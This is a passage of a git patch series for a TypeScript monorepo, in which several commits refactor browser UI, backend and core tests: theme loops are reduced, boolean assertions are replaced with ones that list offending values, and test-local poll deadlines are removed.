expect(coverage.include).toEqual(["projects/active/sail-repairs/"]); expect(coverage.excerpts.length).toBeGreaterThan(0); - for (const excerpt of coverage.excerpts) expect(excerpt.path.startsWith("projects/active/sail-repairs/"), excerpt.path).toBe(true); + expect(coverage.excerpts.map((e) => e.path).filter((path) => !path.startsWith("projects/active/sail-repairs/"))).toEqual([]); }); test("an invalid or oversized scope is a tool error", async () => { From 0e14487f18db5b0d29d30ca0eeb17f6b08df485c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:16:46 +0100 Subject: [PATCH 126/252] test(ui-react): drafts, profile and state-room checks run once per theme; state-room asserts its actions Test-Health: th-20261110195347-f9b8db#0 --- .../tests/browser/session-drafts.pointer.tsx | 69 ++++++++++--------- .../tests/browser/session-profile.pointer.tsx | 4 +- .../tests/browser/state-room.layout.tsx | 12 ++-- 3 files changed, 46 insertions(+), 39 deletions(-) diff --git a/packages/ui-react/tests/browser/session-drafts.pointer.tsx b/packages/ui-react/tests/browser/session-drafts.pointer.tsx index 1af8536508..2a363e541e 100644 --- a/packages/ui-react/tests/browser/session-drafts.pointer.tsx +++ b/packages/ui-react/tests/browser/session-drafts.pointer.tsx @@ -334,12 +334,13 @@ async function openSessions(s: Scene, mode: string) { await expect.poll(() => s.ui.stores.ui.getState().sessionPanelOpen, { message: "Sessions is open" }).toBe(true); } -const THEMES = ["dark", "light"] as const; +// One theme per scenario: nothing pressed, measured or decoded here takes a +// theme-specific class, and Storybook owns light/dark parity. -for (const width of [320, 390, 480, 900, 1280, 1440] as const) for (const theme of THEMES) { - test(`${width} (${theme}): A's text and image survive New chat, B, Sessions and Actions; B is a Draft entry`, async (ctx) => { +for (const width of [320, 390, 480, 900, 1280, 1440] as const) { + test(`${width}: A's text and image survive New chat, B, Sessions and Actions; B is a Draft entry`, async (ctx) => { const mode = pointer(); - const s = await mount(ctx, width, 800, theme); + const s = await mount(ctx, width, 800, "dark"); const wind = "Ask Aeolus for the west wind"; await type(s, wind); await attach(s, await pngFile("bag-of-winds.png", "#1e5aa0")); @@ -402,10 +403,10 @@ const entries: Array<{ width: number; via: "disc" | "pane" | "palette" }> = [ { width: 390, via: "disc" }, { width: 900, via: "disc" }, { width: 900, via: "palette" }, { width: 1280, via: "pane" }, { width: 1440, via: "palette" }, ]; -for (const { width, via } of entries) for (const theme of THEMES) { - test(`${width} (${theme}): New chat by the ${via} while A streams keeps A's work and draft`, async (ctx) => { +for (const { width, via } of entries) { + test(`${width}: New chat by the ${via} while A streams keeps A's work and draft`, async (ctx) => { const mode = pointer(); - const s = await mount(ctx, width, 800, theme); + const s = await mount(ctx, width, 800, "dark"); s.socket.deliver({ type: "status", sessionId: ITHACA.id, status: "thinking", turnId: "ithaca-turn-5" }); s.socket.deliver({ type: "text_delta", sessionId: ITHACA.id, turnId: "ithaca-turn-5", text: "Rowing past Scylla" }); await type(s, "Keep the crew from the cattle of the sun"); @@ -437,8 +438,8 @@ for (const { width, via } of entries) for (const theme of THEMES) { // Keyboard up (coarse pointers): the soft keyboard is supplied as a visual // viewport 260px shorter, which is what `useSoftKeyboard` reads. -for (const width of [320, 390] as const) for (const theme of THEMES) { - test(`${width} (${theme}): with the keyboard up, switching sessions mid-edit keeps each draft`, async (ctx) => { +for (const width of [320, 390] as const) { + test(`${width}: with the keyboard up, switching sessions mid-edit keeps each draft`, async (ctx) => { const mode = pointer(); if (mode === "fine") ctx.skip(); const original = Object.getOwnPropertyDescriptor(window, "visualViewport"); @@ -448,7 +449,7 @@ for (const width of [320, 390] as const) for (const theme of THEMES) { if (original) Object.defineProperty(window, "visualViewport", original); else delete (window as { visualViewport?: unknown }).visualViewport; }); - const s = await mount(ctx, width, 568, theme); + const s = await mount(ctx, width, 568, "dark"); await press(s, composer(s), mode); expect(document.activeElement, "the composer has focus").toBe(composer(s)); await type(s, "Half a thought about the Phaeacians"); @@ -468,10 +469,10 @@ for (const width of [320, 390] as const) for (const theme of THEMES) { } // A send the host never confirmed, held for review (D52 §5). -for (const width of [390, 1280] as const) for (const theme of THEMES) { - test(`${width} (${theme}): the socket closing after a send holds it for review; nothing is resent without Send again`, async (ctx) => { +for (const width of [390, 1280] as const) { + test(`${width}: the socket closing after a send holds it for review; nothing is resent without Send again`, async (ctx) => { const mode = pointer(); - const s = await mount(ctx, width, 800, theme); + const s = await mount(ctx, width, 800, "dark"); const harbour = "Which harbour is safest on Ithaca?"; await type(s, harbour); await userEvent.keyboard("{Enter}"); @@ -516,15 +517,15 @@ for (const width of [390, 1280] as const) for (const theme of THEMES) { } // Honest states the host cannot make true. -for (const width of [390, 1440] as const) for (const theme of THEMES) { - test(`${width} (${theme}): a host without drafts keeps them here and says so; a conflict keeps both`, async (ctx) => { +for (const width of [390, 1440] as const) { + test(`${width}: a host without drafts keeps them here and says so; a conflict keeps both`, async (ctx) => { const mode = pointer(); - const local = await mount(ctx, width, 800, theme, { drafts: false }); + const local = await mount(ctx, width, 800, "dark", { drafts: false }); await type(local, "Ask Nausicaa about the washing place"); await expect.poll(() => saveSummary(local), { message: "the unavailable copy" }).toBe("Not saved: this host doesn't keep drafts. Your text is kept on this device."); flushSync(() => local.host.remove()); - const s = await mount(ctx, width, 800, theme); + const s = await mount(ctx, width, 800, "dark"); await type(s, "Ask Eumaeus about the swineherd"); await expect.poll(() => saveLine(s)?.dataset.draftSave).toBe("saved"); s.drafts.race("Ask Eumaeus at dawn"); @@ -649,10 +650,10 @@ async function openTrackEntry(s: Scene, mode: string) { expect(composer(s).value, "no words appeared").toBe(""); } -for (const width of [320, 390, 900, 1280, 1440] as const) for (const theme of THEMES) { - test(`${width} (${theme}): a new chat holding only a staged track stays reachable through New chat; removing it ends the entry`, async (ctx) => { +for (const width of [320, 390, 900, 1280, 1440] as const) { + test(`${width}: a new chat holding only a staged track stays reachable through New chat; removing it ends the entry`, async (ctx) => { const mode = pointer(); - const s = await mount(ctx, width, 800, theme); + const s = await mount(ctx, width, 800, "dark"); await press(s, await must(s, newChatName(width)), mode); await expect.poll(() => s.ui.stores.chat.getState().activeSessionId, { message: "a new chat" }).toBeNull(); await stageReadyTrack(s, "the track is staged"); @@ -690,14 +691,14 @@ for (const width of [320, 390, 900, 1280, 1440] as const) for (const theme of TH } // The reload guard (#1112): a track staged in A while B is in view. -for (const width of [390, 1280] as const) for (const theme of THEMES) for (const ending of ["removed", "sent"] as const) { - test(`${width} (${theme}): an update waits while A holds a staged track and B is in view; it reloads once the track is ${ending}`, async (ctx) => { +for (const width of [390, 1280] as const) for (const ending of ["removed", "sent"] as const) { + test(`${width}: an update waits while A holds a staged track and B is in view; it reloads once the track is ${ending}`, async (ctx) => { const mode = pointer(); const waiting = new WaitingWorker(); Object.defineProperty(navigator, "serviceWorker", { configurable: true, value: waiting }); ctx.onTestFinished(() => { delete (navigator as { serviceWorker?: unknown }).serviceWorker; }); let reloads = 0; - const s = await mount(ctx, width, 800, theme, { reload: () => reloads++ }); + const s = await mount(ctx, width, 800, "dark", { reload: () => reloads++ }); await stageReadyTrack(s, "A's track is staged"); // B in view, through its Sessions row. @@ -732,9 +733,9 @@ for (const width of [390, 1280] as const) for (const theme of THEMES) for (const }); } -for (const theme of THEMES) test(`${theme}: attachment removal has a named pointer target and focus ring`, async (ctx) => { +test("attachment removal has a named pointer target and focus ring", async (ctx) => { const mode = pointer(); - const s = await mount(ctx, 320, 800, theme); + const s = await mount(ctx, 320, 800, "light"); await attach(s, await pngFile("ithaca-port.png", "#5bb5a2")); await expect.poll(() => chips(s).length, { message: "attachment fixture is present" }).toBe(1); expect(page.getByRole("button", { name: "Remove ithaca-port.png", exact: true }).elements().length, "attachment removal accessible name").toBe(1); @@ -750,11 +751,11 @@ for (const theme of THEMES) test(`${theme}: attachment removal has a named point await expect.poll(() => chips(s).length, { message: "named removal acts on the image" }).toBe(0); }); -for (const theme of THEMES) test(`${theme}: share actions have names, pointer targets, focus rings and busy state`, async (ctx) => { +test("share actions have names, pointer targets, focus rings and busy state", async (ctx) => { const mode = pointer(); await resize(320, 800); - document.documentElement.dataset.theme = theme; - const account = `odysseus-share-pointer-${mode}-${theme}`; + document.documentElement.dataset.theme = "light"; + const account = `odysseus-share-pointer-${mode}`; const ui = createBrainUiRoot({ storage: localStorage, storagePrefix: account, request: async () => Response.json({ providers: [], backends: {} }) }); ui.stores.connection.getState().setVpnStatus("connected", account); const host = document.createElement("div"); @@ -791,8 +792,8 @@ for (const theme of THEMES) test(`${theme}: share actions have names, pointer ta await expect.poll(() => ui.stores.share.getState().queue.length, { message: "dismiss removes the reviewed share" }).toBe(0); }); -for (const theme of THEMES) test(`${theme}: earlier messages have a named target, focus ring and keyboard action`, async (ctx) => { - const s = await mount(ctx, 320, 800, theme); +test("earlier messages have a named target, focus ring and keyboard action", async (ctx) => { + const s = await mount(ctx, 320, 800, "light"); s.socket.deliver({ type: "session_history", sessionId: ITHACA.id, messages: Array.from({ length: 45 }, (_, i) => ({ role: "user", content: `Ithaca voyage note ${i + 1}.`, toolCalls: [] })) }); await settle(s); const name = "Show 5 earlier messages · 5 hidden"; @@ -807,9 +808,9 @@ for (const theme of THEMES) test(`${theme}: earlier messages have a named target expect(page.getByRole("button", { name, exact: true }).elements().length, "earlier messages keyboard activation expands the window").toBe(0); }); -for (const theme of THEMES) test(`${theme}: session overflow retains its named target, menu state and row focus ring`, async (ctx) => { +test("session overflow retains its named target, menu state and row focus ring", async (ctx) => { const mode = pointer(); - const s = await mount(ctx, 320, 800, theme); + const s = await mount(ctx, 320, 800, "light"); await openSessions(s, mode); const more = page.getByRole("button", { name: `More for ${ITHACA.title}`, exact: true }).element() as HTMLElement; expect([rect(more).width, rect(more).height], "session overflow target").toEqual([44, 44]); @@ -824,10 +825,10 @@ for (const theme of THEMES) test(`${theme}: session overflow retains its named t expect([ring.outlineWidth, ring.outlineStyle, ring.outlineOffset], "session menu row focus ring").toEqual(["2px", "solid", "-2px"]); }); -for (const theme of THEMES) test(`${theme}: retry inline action has a named 44px reach and focus ring`, async (ctx) => { +test("retry inline action has a named 44px reach and focus ring", async (ctx) => { const mode = pointer(); await resize(320, 800); - document.documentElement.dataset.theme = theme; + document.documentElement.dataset.theme = "light"; const ui = createBrainUiRoot({ storage: null, request: async () => Response.json({ providers: [], backends: {} }) }); const retry = vi.spyOn(ui.connection, "reconnectNow").mockImplementation(() => {}); ui.stores.connection.setState({ vpnStatus: "connected", handshakeFailures: 3 }); diff --git a/packages/ui-react/tests/browser/session-profile.pointer.tsx b/packages/ui-react/tests/browser/session-profile.pointer.tsx index ef2ceba434..7edb070f60 100644 --- a/packages/ui-react/tests/browser/session-profile.pointer.tsx +++ b/packages/ui-react/tests/browser/session-profile.pointer.tsx @@ -67,7 +67,9 @@ async function mount(width: number, theme: "dark" | "light", disabledReason?: st const profile = (name: string) => host!.querySelector(`input[data-profile][value="${name}"]`); const limits = () => [...host!.querySelectorAll('[role="button"]')].find(el => el.textContent?.includes("Limits for this chat"))!; -for (const [width, theme] of [[320, "dark"], [320, "light"], [1280, "dark"], [1280, "light"], [640, "dark"]] as const) { +// One theme per width: nothing measured here takes a theme-specific class, +// and Storybook owns light/dark parity. +for (const [width, theme] of [[320, "dark"], [1280, "light"], [640, "dark"]] as const) { test(`profile save keeps confirmed choice and focus, ${width} ${theme}`, async () => { const control = await mount(width, theme); expect(profile("governed"), "SESSION_PROFILE_AVAILABLE_WITH_FIXED_MODEL").not.toBeNull(); diff --git a/packages/ui-react/tests/browser/state-room.layout.tsx b/packages/ui-react/tests/browser/state-room.layout.tsx index a3eed36c69..10e0326cfb 100644 --- a/packages/ui-react/tests/browser/state-room.layout.tsx +++ b/packages/ui-react/tests/browser/state-room.layout.tsx @@ -79,8 +79,10 @@ function result(socket: Socket, percent = 80, allowance = 64 * MIB, observedAt = } const notice = () => host!.querySelector("[data-state-room-notice]"); -for (const width of [320, 1280]) for (const theme of ["light", "dark"]) test(`${width} ${theme}: factual warning, usable targets and no unsolicited focus or work`, async () => { - const { socket } = await mount(width, theme); +// One theme per scenario: nothing measured here takes a theme-specific class, +// and Storybook owns light/dark parity. +for (const width of [320, 1280]) test(`${width}: factual warning, usable targets and no unsolicited focus or work`, async () => { + const { socket } = await mount(width, "light"); const composer = host!.querySelector("[data-composer] textarea")!; composer.focus(); result(socket, 50); @@ -91,6 +93,7 @@ for (const width of [320, 1280]) for (const theme of ["light", "dark"]) test(`${ expect(notice()!.textContent).toContain("As of the last turn"); expect(document.activeElement).toBe(composer); expect(notice()!.scrollWidth).toBeLessThanOrEqual(notice()!.clientWidth + 1); + expect([...notice()!.querySelectorAll('[role="button"]')].map(target => target.textContent), "STATE_ROOM_NOTICE_ACTIONS").toEqual(["Continue in a new conversation", "Not now"]); for (const target of notice()!.querySelectorAll('[role="button"]')) { const box = target.getBoundingClientRect(); expect(touchFloor(target), "notice action meets the touch floor (#3252)").toBe("met"); expect(box.right).toBeLessThanOrEqual(width + 1); @@ -258,12 +261,13 @@ test("continuation keeps reviewed cost, source preference, cancellation focus an expect(ui.stores.chat.getState().buffers[SESSION]!.messages).toHaveLength(2); }); -for (const theme of ["light", "dark"]) test(`${theme}: reflow at the 640 CSS pixels of a 1280px desktop at 200% zoom`, async () => { +test("reflow at the 640 CSS pixels of a 1280px desktop at 200% zoom", async () => { // Browser zoom halves its layout viewport, including media queries. CSS // zoom on one subtree would leave desktop panes active and is not that proof. - const { socket } = await mount(640, theme, null, 400); result(socket); + const { socket } = await mount(640, "dark", null, 400); result(socket); await expect.poll(notice).not.toBeNull(); expect(notice()!.scrollWidth).toBeLessThanOrEqual(notice()!.clientWidth + 1); + expect([...notice()!.querySelectorAll('[role="button"]')].map(target => target.textContent), "STATE_ROOM_REFLOW_ACTIONS").toEqual(["Continue in a new conversation", "Not now"]); for (const target of notice()!.querySelectorAll('[role="button"]')) { expect(touchFloor(target), "notice action meets the touch floor (#3252)").toBe("met"); expect(target.getBoundingClientRect().right).toBeLessThanOrEqual(641); From 2827176dbe7c7096dfc4201265011b02f6ce623b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:16:57 +0100 Subject: [PATCH 127/252] test(ui-backend-pi): list error results instead of a boolean in the tool execution evidence test Test-Health: th-20261110184656-6654f8#30 --- packages/ui-backend-pi/tests/tool-execution-evidence.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts b/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts index 3bdb1ae1ae..6a5ec83c58 100644 --- a/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts +++ b/packages/ui-backend-pi/tests/tool-execution-evidence.test.ts @@ -44,7 +44,7 @@ async function evidence(loadExtensions: boolean | undefined, modes: string[]) { frames.push(frame); if ("sessionId" in frame) sessionId ??= frame.sessionId; }, requestPermission: async () => ({ behavior: "allow" }), readBrainBase: async () => ({ content: "Penelope weaves.\n", expectedBaseHash: "0".repeat(64) }) } }); - expect(frames.filter(frame => frame.type === "tool_result").every(frame => frame.type === "tool_result" && !frame.isError), `PI_EVIDENCE_${mode.toUpperCase()}_RESULTS`).toBe(true); + expect(frames.filter(frame => frame.type === "tool_result" && frame.isError), `PI_EVIDENCE_${mode.toUpperCase()}_RESULTS`).toEqual([]); } return { reported }; From da444482fb99f6d5743334e11ab7ff49da4946b9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:18:08 +0100 Subject: [PATCH 128/252] test(core): the cyclic generated_from check prints the files validate reported Test-Health: th-20261110163736-83b662#30 --- packages/core/tests/generated-from.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/generated-from.test.ts b/packages/core/tests/generated-from.test.ts index 864aa3ede8..c4527a2894 100644 --- a/packages/core/tests/generated-from.test.ts +++ b/packages/core/tests/generated-from.test.ts @@ -74,7 +74,7 @@ describe("over a temp brain", () => { message: "Invalid generated_from: a list. It must be a non-empty string: a repo-relative path or a tool name", }]); // The document after it was still checked. - expect(issues.some((i) => i.file === "notes/untagged.md")).toBe(true); + expect(issues.map((i) => i.file)).toContain("notes/untagged.md"); } finally { rmSync(join(root, "notes/cyclic.md")); rmSync(join(root, "notes/untagged.md")); From 711f149fbfa038065cd6be921848ad834a5e469f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:21:15 +0100 Subject: [PATCH 129/252] test(ui-backend-pi): drop the poll's own deadline in the autonomous yield test The test runner's timeout already bounds the wait; a test-local deadline is a timeout the batch gate refuses. Test-Health: th-20261110184656-6654f8#1 --- packages/ui-backend-pi/tests/autonomous-yield.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/autonomous-yield.test.ts b/packages/ui-backend-pi/tests/autonomous-yield.test.ts index 56bf55115d..18de37a8bd 100644 --- a/packages/ui-backend-pi/tests/autonomous-yield.test.ts +++ b/packages/ui-backend-pi/tests/autonomous-yield.test.ts @@ -72,7 +72,7 @@ test("Pi's real toolkit and runner checkpoint before abort, drain the actual wri await acquired; const foreground = start(request); // The queued foreground registers its yield and wait timers on the fake clock. - for (const deadline = Date.now() + 3_000; callbacks.size < 2 && Date.now() < deadline;) await Bun.sleep(1); + while (callbacks.size < 2) await Bun.sleep(1); expect([...callbacks.values()].map((timer) => timer.at).sort()).toEqual([20_000, 30_000]); try { time = 20_000; From a66a33f8c29885a8c99312b02872204229bda474 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:21:23 +0100 Subject: [PATCH 130/252] test(ui-backend-pi): drop the poll's own deadline in the concurrency tests The test runner's timeout already bounds the wait; a test-local deadline is a timeout the batch gate refuses. Test-Health: th-20261110184656-6654f8#5 --- packages/ui-backend-pi/tests/concurrency.test.ts | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/packages/ui-backend-pi/tests/concurrency.test.ts b/packages/ui-backend-pi/tests/concurrency.test.ts index 5f7cc62ee1..cd6a10a88b 100644 --- a/packages/ui-backend-pi/tests/concurrency.test.ts +++ b/packages/ui-backend-pi/tests/concurrency.test.ts @@ -37,9 +37,7 @@ const CTX = {} as never; const settle = () => new Promise((r) => setTimeout(r, 15)); /** Wait until each session's turn has reached its prompt: it has acquired, subscribed and emitted session_info. */ async function prompted(...controls: Array<{ promptCalls: unknown[] }>) { - for (const deadline = Date.now() + 3_000; controls.some((c) => c.promptCalls.length === 0) && Date.now() < deadline;) { - await new Promise((r) => setTimeout(r, 1)); - } + while (controls.some((c) => c.promptCalls.length === 0)) await new Promise((r) => setTimeout(r, 1)); expect(controls.map((c) => c.promptCalls.length)).toEqual(controls.map(() => 1)); } From 43a7e7457537d3d6345429562b97ae3763a28b17 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:22:34 +0100 Subject: [PATCH 131/252] test(core): the link-walk snapshot case proves its deletion ran mid-walk Test-Health: th-20261110163736-83b662#35 --- packages/core/tests/link-walk.test.ts | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/packages/core/tests/link-walk.test.ts b/packages/core/tests/link-walk.test.ts index 26010224ca..8d7c75d1bb 100644 --- a/packages/core/tests/link-walk.test.ts +++ b/packages/core/tests/link-walk.test.ts @@ -28,12 +28,16 @@ afterAll(() => { }); test("a document deleted between the traversal and the node lookup still has its node", () => { + // The deletion must really land mid-walk: without it the node is there anyway. + let deletedMidWalk = false; const { edges, nodes } = walkLinks(reader, { path: "me/identity.md", depth: 1, direction: "outgoing" }, () => { // Another connection, like a `brain index` in another process, drops a // target the traversal has already reported as resolved. writer.run("DELETE FROM documents WHERE path = 'context/current-focus.md'"); expect(writer.prepare("SELECT COUNT(*) AS n FROM documents WHERE path = 'context/current-focus.md'").get()).toEqual({ n: 0 }); + deletedMidWalk = true; }); + expect(deletedMidWalk).toBe(true); expect(edges).toContainEqual({ source: "me/identity.md", target: "context/current-focus.md", resolved: true }); expect(nodes.map((n) => n.path)).toEqual(["context/current-focus.md", "me/basics/short-bio.md", "me/identity.md"]); }); From 89c054baf3dbcc02e0c20d78b63bd477765c39ad Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:25:55 +0100 Subject: [PATCH 132/252] test(ui-react): diagram layout loops pin what they iterate Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#0 --- .../ui-react/tests/browser/diagrams-callouts.layout.tsx | 1 + .../ui-react/tests/browser/diagrams-node-link.layout.tsx | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/packages/ui-react/tests/browser/diagrams-callouts.layout.tsx b/packages/ui-react/tests/browser/diagrams-callouts.layout.tsx index ad848c90d1..1625c3d8b0 100644 --- a/packages/ui-react/tests/browser/diagrams-callouts.layout.tsx +++ b/packages/ui-react/tests/browser/diagrams-callouts.layout.tsx @@ -228,6 +228,7 @@ test("multi-digit shared keys reserve header space and remain attached to actual const keys=[...group.querySelectorAll("[data-callout-header-key]")],headers=[...group.querySelectorAll("[data-callout-group-heading]")]; for(let i=0;i{ diff --git a/packages/ui-react/tests/browser/diagrams-node-link.layout.tsx b/packages/ui-react/tests/browser/diagrams-node-link.layout.tsx index d68104573a..d42ae6f65f 100644 --- a/packages/ui-react/tests/browser/diagrams-node-link.layout.tsx +++ b/packages/ui-react/tests/browser/diagrams-node-link.layout.tsx @@ -24,8 +24,8 @@ for(const name of examples)for(const theme of ["light","dark","print"] as const) expect(svg.querySelectorAll("[data-diagram-node]").length).toBe(JSON.parse(source).nodes.length); if(name==="flowchart"){expect(svg.querySelector('[data-node-shape="decision"]')?.getAttribute("d")).toContain(" Z");expect(svg.querySelector('[data-node-shape="start"]')?.getAttribute("rx")).toBe("24");expect(svg.querySelector('[data-node-shape="merge"]')?.localName).toBe("circle");} if(name==="state-machine"){expect(svg.querySelector('[data-node-shape="initial"]')?.getAttribute("r")).toBe("6");expect(svg.querySelector('[data-node-shape="final"]')?.getAttribute("r")).toBe("8");} - if(name==="er"){expect([...svg.querySelectorAll("[data-cardinality] text")].map(node=>node.textContent)).toEqual(["1","1..*"]);expect([...svg.querySelectorAll("[data-diagram-edge]")].every(group=>group.querySelectorAll("path").length===1),"ER_RELATIONSHIPS_HAVE_NO_DIRECTION_HEAD").toBe(true);} - if(name==="tree")expect([...svg.querySelectorAll("[data-diagram-edge]")].every(group=>group.querySelectorAll("path").length===1),"TREE_BRANCHES_HAVE_NO_DIRECTION_HEAD").toBe(true); + if(name==="er"){expect([...svg.querySelectorAll("[data-cardinality] text")].map(node=>node.textContent)).toEqual(["1","1..*"]);expect([...svg.querySelectorAll("[data-diagram-edge]")].map(group=>group.querySelectorAll("path").length),"ER_RELATIONSHIPS_HAVE_NO_DIRECTION_HEAD").toEqual(authored.edges.map(()=>1));} + if(name==="tree")expect([...svg.querySelectorAll("[data-diagram-edge]")].map(group=>group.querySelectorAll("path").length),"TREE_BRANCHES_HAVE_NO_DIRECTION_HEAD").toEqual(authored.edges.map(()=>1)); if(name==="dependency"){ expect(svg.querySelectorAll("[data-fan-in]").length,"EVERY_DEPENDENCY_NODE_HAS_COMPUTED_FAN_IN").toBe(authored.nodes.length); for(const path of svg.querySelectorAll("[data-diagram-edge] path")){const bounds=path.getBBox(),stroke=parseFloat(getComputedStyle(path).strokeWidth)/2;const box=svg.viewBox.baseVal;expect(bounds.x-stroke,"CYCLE_STROKE_INSIDE_LEFT").toBeGreaterThan(box.x);expect(bounds.y-stroke,"CYCLE_STROKE_INSIDE_TOP").toBeGreaterThan(box.y);expect(bounds.x+bounds.width+stroke,"CYCLE_STROKE_INSIDE_RIGHT").toBeLessThan(box.x+box.width);expect(bounds.y+bounds.height+stroke,"CYCLE_STROKE_INSIDE_BOTTOM").toBeLessThan(box.y+box.height);} @@ -44,5 +44,5 @@ test("ER fields and cardinalities retain authored 320px placement",async()=>{ }); test("ER cardinality masks match their containing group ground",async()=>{ - const spec=JSON.parse(await commands.diagramFixture("er"));spec.groups=[{id:"provisions",label:"PROVISIONS",members:["voyage","provision"]}];delete spec.layouts;const source=JSON.stringify(spec);root=createBrainUiRoot({storage:null,request:async()=>Response.json({renderers:[],enabled:[]})});host=document.createElement("div");host.style.width="1000px";document.body.append(host);render=createRoot(host);flushSync(()=>render.render());await expect.poll(()=>host.querySelector('figure > svg')).not.toBeNull();for(const mask of host.querySelector('figure > svg')!.querySelectorAll('[data-cardinality] rect'))expect(getComputedStyle(mask).fill,"CARDINALITY_MATCHES_CLUSTER_GROUND").toBe("rgb(12, 14, 18)");const staticSvg=new DOMParser().parseFromString(await toStatic(source,{theme:"dark"}),"image/svg+xml");expect([...staticSvg.querySelectorAll('[data-cardinality] rect')].every(mask=>mask.getAttribute("fill")==="var(--bk-diagram-cluster)")).toBe(true); + const spec=JSON.parse(await commands.diagramFixture("er"));spec.groups=[{id:"provisions",label:"PROVISIONS",members:["voyage","provision"]}];delete spec.layouts;const source=JSON.stringify(spec);root=createBrainUiRoot({storage:null,request:async()=>Response.json({renderers:[],enabled:[]})});host=document.createElement("div");host.style.width="1000px";document.body.append(host);render=createRoot(host);flushSync(()=>render.render());await expect.poll(()=>host.querySelector('figure > svg')).not.toBeNull();const masks=[...host.querySelector('figure > svg')!.querySelectorAll('[data-cardinality] rect')];expect(masks,"CLIENT_CARDINALITY_MASKS_RENDERED").toHaveLength(2);for(const mask of masks)expect(getComputedStyle(mask).fill,"CARDINALITY_MATCHES_CLUSTER_GROUND").toBe("rgb(12, 14, 18)");const staticSvg=new DOMParser().parseFromString(await toStatic(source,{theme:"dark"}),"image/svg+xml");expect([...staticSvg.querySelectorAll('[data-cardinality] rect')].map(mask=>mask.getAttribute("fill")),"STATIC_CARDINALITY_MASKS_MATCH_CLUSTER_GROUND").toEqual(["var(--bk-diagram-cluster)","var(--bk-diagram-cluster)"]); }); From c60fb6bff19c5261792f7c43ebef6cb905b84163 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:25:56 +0100 Subject: [PATCH 133/252] test(ui-react): diagram export assertions print the compared values Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110200243-f078e2#1 --- packages/ui-react/tests/browser/diagrams-export.layout.tsx | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-react/tests/browser/diagrams-export.layout.tsx b/packages/ui-react/tests/browser/diagrams-export.layout.tsx index 077eab6dee..b5c4cb10ff 100644 --- a/packages/ui-react/tests/browser/diagrams-export.layout.tsx +++ b/packages/ui-react/tests/browser/diagrams-export.layout.tsx @@ -16,9 +16,9 @@ for(const [kind,source] of Object.entries(examples))for(const theme of ["light", const parsed=new DOMParser().parseFromString(flat,"image/svg+xml");expect(parsed.querySelector("parsererror")).toBeNull();for(const element of parsed.querySelectorAll("[fill],[stroke]"))for(const attr of ["fill","stroke"])expect(element.getAttribute(attr)??"").not.toContain("var("); }); test("authored literal var text survives SVG parsing",()=>{ - const spec=structuredClone(axisExamples.sequence);spec.title="A literal var(--bk-example)";spec.nodes[0]!.label="var(--example)";const parsed=new DOMParser().parseFromString(toFlatSvg(JSON.stringify(spec),"light"),"image/svg+xml");expect(parsed.querySelector("title")!.textContent).toBe(spec.title);expect([...parsed.querySelectorAll("text")].some(t=>t.textContent==="var(--example)")).toBe(true); + const spec=structuredClone(axisExamples.sequence);spec.title="A literal var(--bk-example)";spec.nodes[0]!.label="var(--example)";const parsed=new DOMParser().parseFromString(toFlatSvg(JSON.stringify(spec),"light"),"image/svg+xml");expect(parsed.querySelector("title")!.textContent).toBe(spec.title);expect([...parsed.querySelectorAll("text")].map(t=>t.textContent)).toContain("var(--example)"); }); -test("real optional renderer writes keyless PNG and one-page PDF",async()=>{const artifacts=await commands.diagramArtifact();expect(artifacts.map(a=>a.format)).toEqual(["png","pdf"]);expect(artifacts.every(a=>a.bytes>1000)).toBe(true);expect(artifacts.find(a=>a.format==="png")!.pixelEquivalent,"EXPORTED_PNG_LOCKED_FONT_PIXEL_PARITY").toBe(true);expect(artifacts.find(a=>a.format==="pdf")!.fonts).toEqual(["JetBrainsMono","PlusJakartaSans"]);},60000); +test("real optional renderer writes keyless PNG and one-page PDF",async()=>{const artifacts=await commands.diagramArtifact();expect(artifacts.map(a=>a.format)).toEqual(["png","pdf"]);for(const artifact of artifacts)expect(artifact.bytes,`EXPORTED_${artifact.format.toUpperCase()}_HAS_CONTENT`).toBeGreaterThan(1000);expect(artifacts.find(a=>a.format==="png")!.pixelEquivalent,"EXPORTED_PNG_LOCKED_FONT_PIXEL_PARITY").toBe(true);expect(artifacts.find(a=>a.format==="pdf")!.fonts).toEqual(["JetBrainsMono","PlusJakartaSans"]);},60000); for(const theme of ["light","dark","print"] as const)test(`authored free layout ${theme} flattened paint retains exact pixels`,async()=>{const source=await commands.diagramFixture();expect(await commands.diagramRasterComparison(`export-free-${theme}`,fonts+await toStatic(source,{theme}),fonts+toFlatSvg(source,theme)),"FLATTENED_STATIC_RASTER_PARITY").toBe(true);}); test("authored free layout capture does not depend on an earlier partial repaint",async()=>{const source=await commands.diagramFixture();expect(await commands.diagramRepaintParity("export-free-repaint",fonts+toFlatSvg(source,"light")),"PARTIAL_REPAINT_RASTER_PARITY").toBe(true);}); import {flattenPaint} from "../../../module-diagrams/src/flatten.js"; From 837c53eaf2b99c66d28a87070fb05e10a87a0bb7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:25:56 +0100 Subject: [PATCH 134/252] test(ui-react): dialogue recovery negative checks list the offending frames Co-Authored-By: Claude Opus 5.5 Test-Health: 